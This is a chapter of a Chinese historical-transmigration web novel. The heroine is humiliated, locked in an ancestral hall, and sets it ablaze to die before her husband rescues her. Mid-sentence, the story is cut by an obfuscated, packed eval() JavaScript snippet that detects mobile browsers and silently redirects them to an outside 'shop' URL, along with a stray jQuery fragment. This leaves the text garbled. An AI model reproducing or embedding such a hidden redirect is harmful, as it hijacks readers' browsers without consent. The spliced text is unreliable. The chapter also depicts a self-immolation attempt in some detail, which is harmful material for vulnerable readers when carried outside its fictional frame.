一巴掌的重力把她打歪了脸,几滴泪珠在巨大的惯力下甩了出去,随后一道细长的泪水从眼眶中流下。
采莲瞪大了双眼,连忙爬了过去,却被一旁的唐梅踩住腰肩。
“来人,把她给我按住”
老夫人在台上也是一副恨铁不成钢:“好你个江池雨目无尊长,现在屋内的人哪个不是你长辈?用得着你在这里吆五喝六的!”
几个穿着家丁服的大汉闻讯进来,按着她的肩逼她下跪,江池雨宁死不从,拼了全身的劲,就是不肯跪下。
突然,膝盖的弯曲处被人重重踢了一脚,双腿把地面砸得作响。
“江池雨,我再问你一遍,你可知错?”
江池雨抬起头,脸上是无尽的愤怒,巴掌印比刚才更加红肿,和一些已经干涸的泪水印记。
明明是对方咄咄逼人,他们不听解释,还侮辱那样慈爱善良的江夫人,世间没有那样不公平的道理!
“我没错”
唐梨降低声音,故作委屈的开口:“都是我的错,祖母和母亲,不要为了我生江姑娘的气”
江池雨歪过头盯着她:“本就是你的错,你纵容下人殴打我的丫鬟……”
“住口!都给我住口!”老夫人在高台上不断捂着胸口大喘气。
“来人,把她给我关到祠堂饿个三天,我看她知不知错”
江池雨就这样被一群壮丁,夹着双臂丢到祠堂里面。
大堂内几人刚想散去,就见唐映雪不急不缓的走了进来:“大伯母一口一个教养,我见几个堂姊也是那样粗鄙不堪,纵容丫鬟,欺辱他人”
唐梨急忙站起身与她对峙:“唐映雪这关你什么事?”
兰香又噙着笑走了过来:“三姑娘,我们才是一家人,那个江池雨逼着你哥强娶她,你心中可无怨?”
百花堂内的氛围剑拔弩张,老夫人连忙起身打圆场:“既然三姑娘来了,我们就快些用膳吧”
唐映雪觉得很恶心,她才不屑与这种人为伍:“我用过了,你们吃吧”说完转身离去。
祠堂内昏暗的灯光让人看不清四周,江池雨趴在桌子上泪眼婆娑,泪水不经意流了下来。
她不想再做什么攻略了,她想回家,回到家躺在床上安安静静的睡一觉,母亲在厨房做着可口的饭菜,喊她吃饭。
“妈,我好想你!”口中小声低语,视线变得越来越模糊,她好像再也受不住压力,慢慢闭上了双眼。
百鸟阁内,一个侍卫快速跑向四楼,推开一道暗门,四周昏暗不堪,中间四角台桌上摆着一盘棋,和一旁摇摇欲坠正在燃烧的蜡烛。
放桌两旁分别坐着两人,唐清舟见着冒冒失失闯进来的侍卫,很是不悦,刚把手中拈起的黑棋又放回棋盒。
“主公,江小姐被大夫人和老夫人羞辱一番后关进祠堂,已经两日未曾用膳了”
他当是什么大事,拿起黑子又自顾自的下起了棋:“我知道了,你继续看着,有什么动作及时向我汇报”
侍卫走后,一旁白衣青年发出不满的声音:“你这也太胜之不武了!”
唐清舟翘起嘴角,噙着笑:“一子慢,满盘皆落索”
“柳乘风,我还有些事情要处理”说完准备起身。
“且慢”被唤柳乘风的白衣青年,有些玩味的开口:“怎么?要去救你那刚过门的小娘子?”
“那江姑娘也是自讨苦吃,非要嫁给你,听闻外界传言她跋扈的很,所以你对她……”说到这儿他故意停顿,看着对方的表情。
唐清舟起身拂去衣袖上的灰尘,临走前只留四个字。
“无可奉告”
柳乘风口中重复着这四个字,想来他是最会玩弄人心的,看着棋盘上自己溃不成军的白子:“给足了希望,再是绝望”
傍晚夜已深,采莲悄咪咪端着一个食盒跑进祠堂:“小姐,快看我带的什么!”
江池雨被饿的眼冒金光,食盒内是几个饼和两碗热汤。
“小姐,这些餐食是三姑娘悄咪咪塞给我的,趁着家丁换岗的空隙,我刚探出头,就看着拐角处身着披风,手中拎着餐盒的三姑娘,她把这些递给我就离开了”
江池雨嘴中大口咬着饼子,心中不禁想:“这唐映雪不应该很讨厌自己吗?为何还送来这么多吃食”
在她思考的间隙一抬头看着采莲,饿得直咽口水。
“你也一起吃”说着拿起一个饼子递给她。
祠堂内寒冷刺骨,就算是夏日也抵不住这滔滔寒意。
“我让你准备的东西怎么样了”
采莲指着门后方的刀和两个手臂般粗大的树枝,还有一些易燃物质:“都已经按小姐的吩咐准备好”
江池雨快速把饼吞入腹中,准备等吃饱喝足了就上路,她已经想好了,什么都不要了,准备一把火把自己烧死在里面。
他们不是最在意自己的祠堂了吗,正好让祠堂给她陪葬也不算太亏。
“小姐想做些什么?”
江池雨拿起一碗汤递在她手里,自己又拿了一碗出来:“来干杯!”两个汤碗在碰撞的一瞬间,一些汤汁洒落在地。
吃饱喝足后,她四仰八叉的躺在地上,享受着在古代最后的时光。
“小姐,地上凉小心染上风寒”采莲担忧的想脱下自己身上的衣裳,盖在她身上。
却听对方一脸严肃的盯着她开口:“采莲,你为什么对我这么好?”
采莲踌躇半刻:“因为我是丫鬟,您是小姐”
江池雨摇了摇头:“不对”
“因为小姐待我极好,我也要报答小姐”
“好,那你对我的话会言听计从吗?”
采莲立即抬手起誓:“我自是对小姐的话言听计从”
“那你去门口守着”
她费力把两块粗木报到中央,先是用小刀将一头削尖,对准地上的木头开始转起来。
她能想到的办法只有钻木取火,原本想的是一头撞死,但怕死不成,摔得头破血流再半身不遂的,到时候那些人不得把自己生吞活剥。
江池雨两掌在木头左右不断
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545872|204140||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来回伸缩,枯老坚硬的树皮,把她娇嫩的手掌都磨出血泡,嫩皮一点点剥落,却还不见地上的木头有任何反应。
采莲在一旁看得心疼不已:“小姐,我们回府吧,我们离开这里”
江池雨手上更加用力:“待会儿着火了,你冲出去把侍卫都吸引进来,趁机跑回院子,把能拿走的嫁妆全拿走,然后离开这里”
采莲在一旁哭的抽搐难止:“要死我和小姐一起死”
许久,木材上终于有了灼焦的气味,一点点星星之火正往上冒,她的两臂着实没有力气了:“不行”她的嘴中呢喃道:“还差一点,差一点点!”
火苗的扩散范围越来越大,她知道自己大功告成了,看着门前哭成泪人的采莲:“别哭了,保留体力等会儿直接冲出去”
江池雨急忙把衣服脱下,盖在火堆上,又扯来一旁的棉被盖上。
“轰”的一声,火苗直窜房顶,她心中急的不行,灼烧范围太小,还没等房子烧起来,外面的侍卫肯定就有所察觉。
她看向一旁上供奉的牌匾:“对不住了”说完抱在怀中,朝火堆处扔去,火焰像游蛇往四周扩散,头上支撑的柱子也摇摇欲坠。
浓烟呛得人快喘不过气来:“快走!”
采莲在一旁摇头,还试图想从火堆中穿过来。
“采莲,这是命令!你现在抓紧离开!咳咳咳……”烟雾浓度越来越高,火焰已经蔓延到她脚边,此刻昏昏沉沉,已经意识不清。
“快走!”
吼完最后一句,终于能闭上眼解脱了,江池雨脸上洋溢着笑容。
“就当这几日是个梦吧”
月明星稀的天空,时不时还有飞鸟掠过,一缕黑色的浓烟直冲天际。
等老夫人赶到祠堂时,已经漫天黑雾,兰香在一旁吩咐着家丁灭火,火势已经大到烧到门口,像是一个点燃的壁炉,距离数百米都感到一股热浪袭来。
她急忙抓住一旁的兰香:“江家姑娘还在里面吗?”
兰香支支吾吾的半天说不出个所以然。
“你哑巴了吗!倒是说啊”老夫人怒不可遏。
“江小姐被困在里面…”
老夫人急得团团转:“那吩咐人去救了没?”
“…清舟已经进去了”
“什么!”老夫人听后差点一头栽下去,好在兰香急忙扶住”
祠堂内像是个火海,把唐清舟团团围住,视线环顾,终于看到前方倒地不起的江池雨,头顶支撑的梁柱,再也经不住压力,裹着火蛇朝江池雨砸去。
千钧一发之际,唐清舟一个闪身,抱起躺地昏迷的江池雨,最终还是慢了一秒,梁柱重重砸在他的肩上,巨大的疼痛袭来嘴不禁发出“哼”的一声,一个踉跄单膝跪在地上,被砸的地方衣裳瞬间被火蛇吞没,只剩下血肉模糊的后背。
他看着护在怀中衣衫不整的江池雨,脸上被灰烬染成了一个小花猫,随后强撑着意识再次站起身。
四周的火势窜天,可已经没有给他思考的时间了,眼下只能硬闯了!